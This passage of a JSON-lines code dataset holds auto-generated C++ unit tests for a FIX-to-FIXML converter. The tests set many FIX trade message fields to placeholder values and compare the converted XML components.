set_header_field(msg.getHeader(), FIX::SecureData{\"DATA_1530161198\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::SecureDataLen{301925523}, header_97);\n  set_header_field(msg.getHeader(), FIX::SenderCompID{\"STRING_1594937126\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::SenderLocationID{\"STRING_392757403\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::SenderSubID{\"STRING_1483177290\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::SendingTime{FIX::UTCTIMESTAMP(4, 8, 41, 2, 5, 2000)}, header_97);\n  set_header_field(msg.getHeader(), FIX::TargetCompID{\"STRING_1102626064\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::TargetLocationID{\"STRING_1448873271\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::TargetSubID{\"STRING_1165024307\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::XmlData{\"DATA_1382794645\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::XmlDataLen{311569910}, header_97);\n  all_values.push_back(header_97);\n  all_compo_names.insert(\".header\");\n\n\n  xml_element elt;\n  converter.fix2fixml(msg, elt);\n  BOOST_LOG_TRIVIAL(debug) << \"The resulting XML is\";\n  cout << \"////////////////////////////////////////////\" << endl;\n  cout << elt.to_string() << endl;\n  cout << \"////////////////////////////////////////////\" << endl << endl;\n\n  BOOST_LOG_TRIVIAL(debug) << \"Quickfix XML representation is\";\n  cout << \"////////////////////////////////////////////\" << endl;\n  cout << msg.toXML() << endl;\n  cout << \"////////////////////////////////////////////\" << endl << endl;\n  list<multiset<string>> elt_lists;\n  elt.to_list(elt_lists);\n  EXPECT_EQ(elt_lists.size(), all_values.size());\n\n  if (elt_lists.size() != all_values.size())  {\n    multiset<string> elt_compo_name;\n    elt.all_components(elt_compo_name);\n    BOOST_LOG_TRIVIAL(debug) << \"XML Elements are:\";\n    cout << \"\t[\";\n    copy(elt_compo_name.begin(), elt_compo_name.end(), ostream_iterator<string>(cout, \" \"));    cout << \"]\" << endl;\n\n    BOOST_LOG_TRIVIAL(debug) << \"FIX Components are:\"; \n    cout << \"\t[\";\n    copy(all_compo_names.begin(), all_compo_names.end(), ostream_iterator<string>(cout, \" \"));    cout << \"]\" << endl;\n\n  }\n  BOOST_LOG_TRIVIAL(debug) << \"All FIX components\";\n  for (const auto& l : all_values) {\n    cout << \"\t[\";\n    copy(l.begin(), l.end(), ostream_iterator<string>(cout, \" \"));\n    cout << \"]\" << endl;\n  }\n  BOOST_LOG_TRIVIAL(debug) << \"All XML components\";\n  for (const auto& l : elt_lists) {\n    cout << \"\t[\";\n    copy(l.begin(), l.end(), ostream_iterator<string>(cout, \" \"));\n    cout << \"]\" << endl;\n\n  }\n\n  for (const auto& xml_l : elt_lists) {\n    bool found = false;\n    for (const auto& l : all_values) {\n      if (includes(l.begin(), l.end(), xml_l.begin(), xml_l.end())) {\n        found = true;\n        break;\n      } // end if includes\n    } // end for all_values\n    EXPECT_TRUE(found);\n    if ( ! found) {\n      BOOST_LOG_TRIVIAL(debug) << \"[TO CHECK] This XML component was not found in FIX message\";\n      cout << \"\t ---> [\";\n      copy(xml_l.begin(), xml_l.end(), ostream_iterator<string>(cout, \" \"));      cout << \"]\" << endl << endl;\n    } // end if ! found\n  } // end for elt_lists\n}\n", "meta": {"hexsha": "814255c1e1860f43801578a1cdebac6ff632371f", "size": 272123, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "tools/generated/fix2xml/test_fix2xml_TradeCaptureReportAck.cpp", "max_stars_repo_name": "abdelkaderamar/fix2xml", "max_stars_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2019-09-26T12:08:19.000Z", "max_stars_repo_stars_event_max_datetime": "2019-09-26T12:08:19.000Z", "max_issues_repo_path": "tools/generated/fix2xml/test_fix2xml_TradeCaptureReportAck.cpp", "max_issues_repo_name": "abdelkaderamar/fix2xml", "max_issues_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tools/generated/fix2xml/test_fix2xml_TradeCaptureReportAck.cpp", "max_forks_repo_name": "abdelkaderamar/fix2xml", "max_forks_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2020-12-11T04:11:44.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-11T04:11:44.000Z", "avg_line_length": 62.3849151765, "max_line_length": 179, "alphanum_fraction": 0.7862143222, "num_tokens": 89326, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041652, "lm_q2_score": 0.2254166210386804, "lm_q1q2_score": 0.11534942796179903}}
{"text": "#include <gtest/gtest.h>\n\n#include \"converter/fixml2fix_converter.hxx\"\n#include \"converter/xml_element_helper.hxx\"\n#include \"converter/fix_helper.hxx\"\n#include \"util/fix_env.hxx\"\n#include \"tools/test_util.hxx\"\n\n#include <boost/log/trivial.hpp>\n\n#include <quickfix/fix50sp2/AllocationInstruction.h>\n\n#include <list>\n#include <set>\n#include <string>\n#include <utility>\n\nusing namespace std;\nusing namespace fix2xml;\n\nTEST ( AllocationInstruction, set_fields)\n{\n\n  fixml2fix_converter converter {\"../spec/fix/FIX50SP2.xml\", \"../spec/xsd/fixml-main-5-0-SP2.xsd\"};\n  auto& fixml_dict = converter.fixml_dico();\n  ASSERT_TRUE(converter.init());\n  ASSERT_TRUE(converter.parse_fixt_dico(\"../spec/fix/FIXT11.xml\"));\n  FIX50SP2::AllocationInstruction msg;\n\n  list<multiset<string>> all_values;\n  multiset<string> all_compo_names;\n  multiset<string> AllocationInstruction_0;\n  FIX::AccruedInterestAmt AccruedInterestAmt_0;\n  AccruedInterestAmt_0.setString(\"3493067\");\nset_field(msg, AccruedInterestAmt_0, AllocationInstruction_0);\n  FIX::AccruedInterestRate AccruedInterestRate_0;\n  AccruedInterestRate_0.setString(\"59.360000\");\nset_field(msg, AccruedInterestRate_0, AllocationInstruction_0);\n  set_field(msg, FIX::AllocCancReplaceReason{1}, AllocationInstruction_0);\n  set_field(msg, FIX::AllocID{\"STRING_816905176\"}, AllocationInstruction_0);\n  set_field(msg, FIX::AllocIntermedReqType{6}, AllocationInstruction_0);\n  set_field(msg, FIX::AllocLinkID{\"STRING_1980967629\"}, AllocationInstruction_0);\n  set_field(msg, FIX::AllocLinkType{1}, AllocationInstruction_0);\n  set_field(msg, FIX::AllocNoOrdersType{0}, AllocationInstruction_0);\n  set_field(msg, FIX::AllocTransType{'3'}, AllocationInstruction_0);\n  set_field(msg, FIX::AllocType{1}, AllocationInstruction_0);\n  set_field(msg, FIX::AutoAcceptIndicator{true}, AllocationInstruction_0);\n  FIX::AvgParPx AvgParPx_0;\n  AvgParPx_0.setString(\"2309669\");\nset_field(msg, AvgParPx_0, AllocationInstruction_0);\n  FIX::AvgPx AvgPx_0;\n  AvgPx_0.setString(\"12878035\");\nset_field(msg, AvgPx_0, AllocationInstruction_0);\n  set_field(msg, FIX::AvgPxIndicator{0}, AllocationInstruction_0);\n  set_field(msg, FIX::AvgPxPrecision{1073466049}, AllocationInstruction_0);\n  set_field(msg, FIX::BookingRefID{\"STRING_1376972217\"}, AllocationInstruction_0);\n  set_field(msg, FIX::BookingType{1}, AllocationInstruction_0);\n  set_field(msg, FIX::ClearingBusinessDate{\"LOCALMKTDATE_246855967\"}, AllocationInstruction_0);\n  FIX::Concession Concession_0;\n  Concession_0.setString(\"20871975\");\nset_field(msg, Concession_0, AllocationInstruction_0);\n  set_field(msg, FIX::Currency{\"CAN\"}, AllocationInstruction_0);\n  set_field(msg, FIX::CustOrderCapacity{1}, AllocationInstruction_0);\n  set_field(msg, FIX::EncodedText{\"DATA_418176550\"}, AllocationInstruction_0);\n  set_field(msg, FIX::EncodedTextLen{12270673}, AllocationInstruction_0);\n  FIX::EndAccruedInterestAmt EndAccruedInterestAmt_0;\n  EndAccruedInterestAmt_0.setString(\"10598364\");\nset_field(msg, EndAccruedInterestAmt_0, AllocationInstruction_0);\n  FIX::EndCash EndCash_0;\n  EndCash_0.setString(\"5020300\");\nset_field(msg, EndCash_0, AllocationInstruction_0);\n  FIX::GrossTradeAmt GrossTradeAmt_0;\n  GrossTradeAmt_0.setString(\"8606572\");\nset_field(msg, GrossTradeAmt_0, AllocationInstruction_0);\n  FIX::InterestAtMaturity InterestAtMaturity_0;\n  InterestAtMaturity_0.setString(\"11636503\");\nset_field(msg, InterestAtMaturity_0, AllocationInstruction_0);\n  set_field(msg, FIX::LastFragment{true}, AllocationInstruction_0);\n  set_field(msg, FIX::LastMkt{\"EXCHANGE_1028097249\"}, AllocationInstruction_0);\n  set_field(msg, FIX::LegalConfirm{true}, AllocationInstruction_0);\n  set_field(msg, FIX::MatchType{\"STRING_A1\"}, AllocationInstruction_0);\n  set_field(msg, FIX::MessageEventSource{\"STRING_1201313186\"}, AllocationInstruction_0);\n  set_field(msg, FIX::MultiLegReportingType{'2'}, AllocationInstruction_0);\n  FIX::NetMoney NetMoney_0;\n  NetMoney_0.setString(\"9000005\");\nset_field(msg, NetMoney_0, AllocationInstruction_0);\n  set_field(msg, FIX::NumDaysInterest{311279717}, AllocationInstruction_0);\n  set_field(msg, FIX::PositionEffect{'C'}, AllocationInstruction_0);\n  set_field(msg, FIX::PreviouslyReported{false}, AllocationInstruction_0);\n  set_field(msg, FIX::PriceType{4}, AllocationInstruction_0);\n  set_field(msg, FIX::QtyType{0}, AllocationInstruction_0);\n  FIX::Quantity Quantity_1;\n  Quantity_1.setString(\"1271200\");\nset_field(msg, Quantity_1, AllocationInstruction_0);\n  set_field(msg, FIX::RefAllocID{\"STRING_866969297\"}, AllocationInstruction_0);\n  set_field(msg, FIX::ReversalIndicator{true}, AllocationInstruction_0);\n  FIX::RndPx RndPx_0;\n  RndPx_0.setString(\"14149236\");\nset_field(msg, RndPx_0, AllocationInstruction_0);\n  set_field(msg, FIX::SecondaryAllocID{\"STRING_1277470187\"}, AllocationInstruction_0);\n  set_field(msg, FIX::SettlDate{\"LOCALMKTDATE_365910129\"}, AllocationInstruction_0);\n  set_field(msg, FIX::SettlType{\"STRING_2\"}, AllocationInstruction_0);\n  set_field(msg, FIX::Side{'8'}, AllocationInstruction_0);\n  FIX::StartCash StartCash_0;\n  StartCash_0.setString(\"6127660\");\nset_field(msg, StartCash_0, AllocationInstruction_0);\n  set_field(msg, FIX::Text{\"STRING_584126063\"}, AllocationInstruction_0);\n  set_field(msg, FIX::TotNoAllocs{2029133521}, AllocationInstruction_0);\n  FIX::TotalAccruedInterestAmt TotalAccruedInterestAmt_0;\n  TotalAccruedInterestAmt_0.setString(\"17010841\");\nset_field(msg, TotalAccruedInterestAmt_0, AllocationInstruction_0);\n  FIX::TotalTakedown TotalTakedown_0;\n  TotalTakedown_0.setString(\"8795392\");\nset_field(msg, TotalTakedown_0, AllocationInstruction_0);\n  set_field(msg, FIX::TradeDate{\"LOCALMKTDATE_299826423\"}, AllocationInstruction_0);\n  set_field(msg, FIX::TradeInputSource{\"STRING_1713354827\"}, AllocationInstruction_0);\n  set_field(msg, FIX::TradeOriginationDate{\"LOCALMKTDATE_1939375654\"}, AllocationInstruction_0);\n  set_field(msg, FIX::TradingSessionID{\"STRING_2\"}, AllocationInstruction_0);\n  set_field(msg, FIX::TradingSessionSubID{\"STRING_1\"}, AllocationInstruction_0);\n  set_field(msg, FIX::TransactTime{FIX::UTCTIMESTAMP(11, 46, 18, 9, 5, 2002)}, AllocationInstruction_0);\n  set_field(msg, FIX::TrdSubType{8}, AllocationInstruction_0);\n  set_field(msg, FIX::TrdType{44}, AllocationInstruction_0);\n  all_values.push_back(AllocationInstruction_0);\n\n  all_compo_names.insert(\"AllocationInstruction\");\n\n  // AllocGrp\n  // Group AllocGrp.NoAllocs\n  {\n    FIX50SP2::AllocationInstruction::NoAllocs noAllocs_0_0;\n    // AllocGrp.NoAllocs\n    multiset<string> AllocGrp_NoAllocs_0;\n    set_field(noAllocs_0_0, FIX::AllocAccount{\"STRING_1963701171\"}, AllocGrp_NoAllocs_0);\n    FIX::AllocAccruedInterestAmt AllocAccruedInterestAmt_0;\n    AllocAccruedInterestAmt_0.setString(\"13761690\");\nset_field(noAllocs_0_0, AllocAccruedInterestAmt_0, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::AllocAcctIDSource{843742819}, AllocGrp_NoAllocs_0);\n    FIX::AllocAvgPx AllocAvgPx_0;\n    AllocAvgPx_0.setString(\"20908212\");\nset_field(noAllocs_0_0, AllocAvgPx_0, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::AllocCustomerCapacity{\"STRING_95654733\"}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::AllocHandlInst{1}, AllocGrp_NoAllocs_0);\n    FIX::AllocInterestAtMaturity AllocInterestAtMaturity_0;\n    AllocInterestAtMaturity_0.setString(\"13582612\");\nset_field(noAllocs_0_0, AllocInterestAtMaturity_0, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::AllocMethod{3}, AllocGrp_NoAllocs_0);\n    FIX::AllocNetMoney AllocNetMoney_0;\n    AllocNetMoney_0.setString(\"5020970\");\nset_field(noAllocs_0_0, AllocNetMoney_0, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::AllocPositionEffect{'F'}, AllocGrp_NoAllocs_0);\n    FIX::AllocPrice AllocPrice_0;\n    AllocPrice_0.setString(\"3869027\");\nset_field(noAllocs_0_0, AllocPrice_0, AllocGrp_NoAllocs_0);\n    FIX::AllocQty AllocQty_0;\n    AllocQty_0.setString(\"11148631\");\nset_field(noAllocs_0_0, AllocQty_0, AllocGrp_NoAllocs_0);\n    FIX::AllocSettlCurrAmt AllocSettlCurrAmt_0;\n    AllocSettlCurrAmt_0.setString(\"4393158\");\nset_field(noAllocs_0_0, AllocSettlCurrAmt_0, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::AllocSettlCurrency{\"USD\"}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::AllocSettlInstType{1}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::AllocText{\"STRING_568379000\"}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::ClearingFeeIndicator{\"STRING_H\"}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::EncodedAllocText{\"DATA_1110747112\"}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::EncodedAllocTextLen{1370235520}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::IndividualAllocID{\"STRING_660863206\"}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::IndividualAllocType{1}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::MatchStatus{'0'}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::NotifyBrokerOfCredit{true}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::ProcessCode{'3'}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::SecondaryIndividualAllocID{\"STRING_377137417\"}, AllocGrp_NoAllocs_0);\n    FIX::SettlCurrAmt SettlCurrAmt_0;\n    SettlCurrAmt_0.setString(\"4764603\");\nset_field(noAllocs_0_0, SettlCurrAmt_0, AllocGrp_NoAllocs_0);\n    FIX::SettlCurrFxRate SettlCurrFxRate_0;\n    SettlCurrFxRate_0.setString(\"3864215\");\nset_field(noAllocs_0_0, SettlCurrFxRate_0, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::SettlCurrFxRateCalc{'D'}, AllocGrp_NoAllocs_0);\n    set_field(noAllocs_0_0, FIX::SettlCurrency{\"CHF\"}, AllocGrp_NoAllocs_0);\n    all_values.push_back(AllocGrp_NoAllocs_0);\n    all_compo_names.insert(\"...NoAllocs\");\n\n    // ClrInstGrp\n    // Group ClrInstGrp.NoClearingInstructions\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoClearingInstructions noClearingInstructions_0_1_0;\n      // ClrInstGrp.NoClearingInstructions\n      multiset<string> ClrInstGrp_NoClearingInstructions_0;\n      set_field(noClearingInstructions_0_1_0, FIX::ClearingInstruction{5}, ClrInstGrp_NoClearingInstructions_0);\n      all_values.push_back(ClrInstGrp_NoClearingInstructions_0);\n      all_compo_names.insert(\"...NoAllocs...NoClearingInstructions\");\n\n      noAllocs_0_0.addGroup(noClearingInstructions_0_1_0);\n    }\n    // CommissionData\n    multiset<string> CommissionData_0;\n    set_field(noAllocs_0_0, FIX::CommCurrency{\"USD\"}, CommissionData_0);\n    set_field(noAllocs_0_0, FIX::CommType{'3'}, CommissionData_0);\n    FIX::Commission Commission_0;\n    Commission_0.setString(\"10011332\");\nset_field(noAllocs_0_0, Commission_0, CommissionData_0);\n    set_field(noAllocs_0_0, FIX::FundRenewWaiv{'Y'}, CommissionData_0);\n    all_values.push_back(CommissionData_0);\n    all_compo_names.insert(\"...NoAllocs.\");\n\n    // MiscFeesGrp\n    // Group MiscFeesGrp.NoMiscFees\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoMiscFees noMiscFees_0_1_0;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_0;\n      FIX::MiscFeeAmt MiscFeeAmt_0;\n      MiscFeeAmt_0.setString(\"15032302\");\nset_field(noMiscFees_0_1_0, MiscFeeAmt_0, MiscFeesGrp_NoMiscFees_0);\n      set_field(noMiscFees_0_1_0, FIX::MiscFeeBasis{0}, MiscFeesGrp_NoMiscFees_0);\n      set_field(noMiscFees_0_1_0, FIX::MiscFeeCurr{\"CHF\"}, MiscFeesGrp_NoMiscFees_0);\n      set_field(noMiscFees_0_1_0, FIX::MiscFeeType{\"STRING_12\"}, MiscFeesGrp_NoMiscFees_0);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_0);\n      all_compo_names.insert(\"...NoAllocs...NoMiscFees\");\n\n      noAllocs_0_0.addGroup(noMiscFees_0_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoMiscFees noMiscFees_0_1_1;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_1;\n      FIX::MiscFeeAmt MiscFeeAmt_1;\n      MiscFeeAmt_1.setString(\"5016320\");\nset_field(noMiscFees_0_1_1, MiscFeeAmt_1, MiscFeesGrp_NoMiscFees_1);\n      set_field(noMiscFees_0_1_1, FIX::MiscFeeBasis{1}, MiscFeesGrp_NoMiscFees_1);\n      set_field(noMiscFees_0_1_1, FIX::MiscFeeCurr{\"JPY\"}, MiscFeesGrp_NoMiscFees_1);\n      set_field(noMiscFees_0_1_1, FIX::MiscFeeType{\"STRING_3\"}, MiscFeesGrp_NoMiscFees_1);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_1);\n      all_compo_names.insert(\"...NoAllocs...NoMiscFees\");\n\n      noAllocs_0_0.addGroup(noMiscFees_0_1_1);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoMiscFees noMiscFees_0_1_2;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_2;\n      FIX::MiscFeeAmt MiscFeeAmt_2;\n      MiscFeeAmt_2.setString(\"14428354\");\nset_field(noMiscFees_0_1_2, MiscFeeAmt_2, MiscFeesGrp_NoMiscFees_2);\n      set_field(noMiscFees_0_1_2, FIX::MiscFeeBasis{0}, MiscFeesGrp_NoMiscFees_2);\n      set_field(noMiscFees_0_1_2, FIX::MiscFeeCurr{\"CAN\"}, MiscFeesGrp_NoMiscFees_2);\n      set_field(noMiscFees_0_1_2, FIX::MiscFeeType{\"STRING_12\"}, MiscFeesGrp_NoMiscFees_2);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_2);\n      all_compo_names.insert(\"...NoAllocs...NoMiscFees\");\n\n      noAllocs_0_0.addGroup(noMiscFees_0_1_2);\n    }\n    // NestedParties\n    // Group NestedParties.NoNestedPartyIDs\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs noNestedPartyIDs_0_1_0;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_2;\n      set_field(noNestedPartyIDs_0_1_0, FIX::NestedPartyID{\"STRING_1658424899\"}, NestedParties_NoNestedPartyIDs_2);\n      set_field(noNestedPartyIDs_0_1_0, FIX::NestedPartyIDSource{'4'}, NestedParties_NoNestedPartyIDs_2);\n      set_field(noNestedPartyIDs_0_1_0, FIX::NestedPartyRole{331253343}, NestedParties_NoNestedPartyIDs_2);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_2);\n      all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_0_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_6;\n        set_field(noNestedPartySubIDs_0_0_2_0, FIX::NestedPartySubID{\"STRING_176692025\"}, NstdPtysSubGrp_NoNestedPartySubIDs_6);\n        set_field(noNestedPartySubIDs_0_0_2_0, FIX::NestedPartySubIDType{1627448633}, NstdPtysSubGrp_NoNestedPartySubIDs_6);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_6);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_0.addGroup(noNestedPartySubIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_0_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_7;\n        set_field(noNestedPartySubIDs_0_0_2_1, FIX::NestedPartySubID{\"STRING_2066049940\"}, NstdPtysSubGrp_NoNestedPartySubIDs_7);\n        set_field(noNestedPartySubIDs_0_0_2_1, FIX::NestedPartySubIDType{1888787958}, NstdPtysSubGrp_NoNestedPartySubIDs_7);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_7);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_0.addGroup(noNestedPartySubIDs_0_0_2_1);\n      }\n      noAllocs_0_0.addGroup(noNestedPartyIDs_0_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs noNestedPartyIDs_0_1_1;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_3;\n      set_field(noNestedPartyIDs_0_1_1, FIX::NestedPartyID{\"STRING_4845710\"}, NestedParties_NoNestedPartyIDs_3);\n      set_field(noNestedPartyIDs_0_1_1, FIX::NestedPartyIDSource{'7'}, NestedParties_NoNestedPartyIDs_3);\n      set_field(noNestedPartyIDs_0_1_1, FIX::NestedPartyRole{1396737862}, NestedParties_NoNestedPartyIDs_3);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_3);\n      all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_1_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_8;\n        set_field(noNestedPartySubIDs_0_1_2_0, FIX::NestedPartySubID{\"STRING_1784645887\"}, NstdPtysSubGrp_NoNestedPartySubIDs_8);\n        set_field(noNestedPartySubIDs_0_1_2_0, FIX::NestedPartySubIDType{115465375}, NstdPtysSubGrp_NoNestedPartySubIDs_8);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_8);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_1.addGroup(noNestedPartySubIDs_0_1_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_1_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_9;\n        set_field(noNestedPartySubIDs_0_1_2_1, FIX::NestedPartySubID{\"STRING_471557900\"}, NstdPtysSubGrp_NoNestedPartySubIDs_9);\n        set_field(noNestedPartySubIDs_0_1_2_1, FIX::NestedPartySubIDType{1140392514}, NstdPtysSubGrp_NoNestedPartySubIDs_9);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_9);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_1.addGroup(noNestedPartySubIDs_0_1_2_1);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_1_2_2;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_10;\n        set_field(noNestedPartySubIDs_0_1_2_2, FIX::NestedPartySubID{\"STRING_836866351\"}, NstdPtysSubGrp_NoNestedPartySubIDs_10);\n        set_field(noNestedPartySubIDs_0_1_2_2, FIX::NestedPartySubIDType{704637334}, NstdPtysSubGrp_NoNestedPartySubIDs_10);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_10);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_1.addGroup(noNestedPartySubIDs_0_1_2_2);\n      }\n      noAllocs_0_0.addGroup(noNestedPartyIDs_0_1_1);\n    }\n    // SettlInstructionsData\n    multiset<string> SettlInstructionsData_0;\n    set_field(noAllocs_0_0, FIX::SettlDeliveryType{2}, SettlInstructionsData_0);\n    set_field(noAllocs_0_0, FIX::StandInstDbID{\"STRING_1997583206\"}, SettlInstructionsData_0);\n    set_field(noAllocs_0_0, FIX::StandInstDbName{\"STRING_1206269346\"}, SettlInstructionsData_0);\n    set_field(noAllocs_0_0, FIX::StandInstDbType{0}, SettlInstructionsData_0);\n    all_values.push_back(SettlInstructionsData_0);\n    all_compo_names.insert(\"...NoAllocs.\");\n\n    // DlvyInstGrp\n    // Group DlvyInstGrp.NoDlvyInst\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst noDlvyInst_0_1_0;\n      // DlvyInstGrp.NoDlvyInst\n      multiset<string> DlvyInstGrp_NoDlvyInst_0;\n      set_field(noDlvyInst_0_1_0, FIX::DlvyInstType{'C'}, DlvyInstGrp_NoDlvyInst_0);\n      set_field(noDlvyInst_0_1_0, FIX::SettlInstSource{'3'}, DlvyInstGrp_NoDlvyInst_0);\n      all_values.push_back(DlvyInstGrp_NoDlvyInst_0);\n      all_compo_names.insert(\"...NoAllocs....NoDlvyInst\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs noSettlPartyIDs_0_0_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_0;\n        set_field(noSettlPartyIDs_0_0_2_0, FIX::SettlPartyID{\"STRING_421559594\"}, SettlParties_NoSettlPartyIDs_0);\n        set_field(noSettlPartyIDs_0_0_2_0, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_0);\n        set_field(noSettlPartyIDs_0_0_2_0, FIX::SettlPartyRole{839180931}, SettlParties_NoSettlPartyIDs_0);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_0);\n        all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_0_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_0;\n          set_field(noSettlPartySubIDs_0_0_0_3_0, FIX::SettlPartySubID{\"STRING_1717580897\"}, SettlPtysSubGrp_NoSettlPartySubIDs_0);\n          set_field(noSettlPartySubIDs_0_0_0_3_0, FIX::SettlPartySubIDType{350122182}, SettlPtysSubGrp_NoSettlPartySubIDs_0);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_0);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_0_2_0.addGroup(noSettlPartySubIDs_0_0_0_3_0);\n        }\n        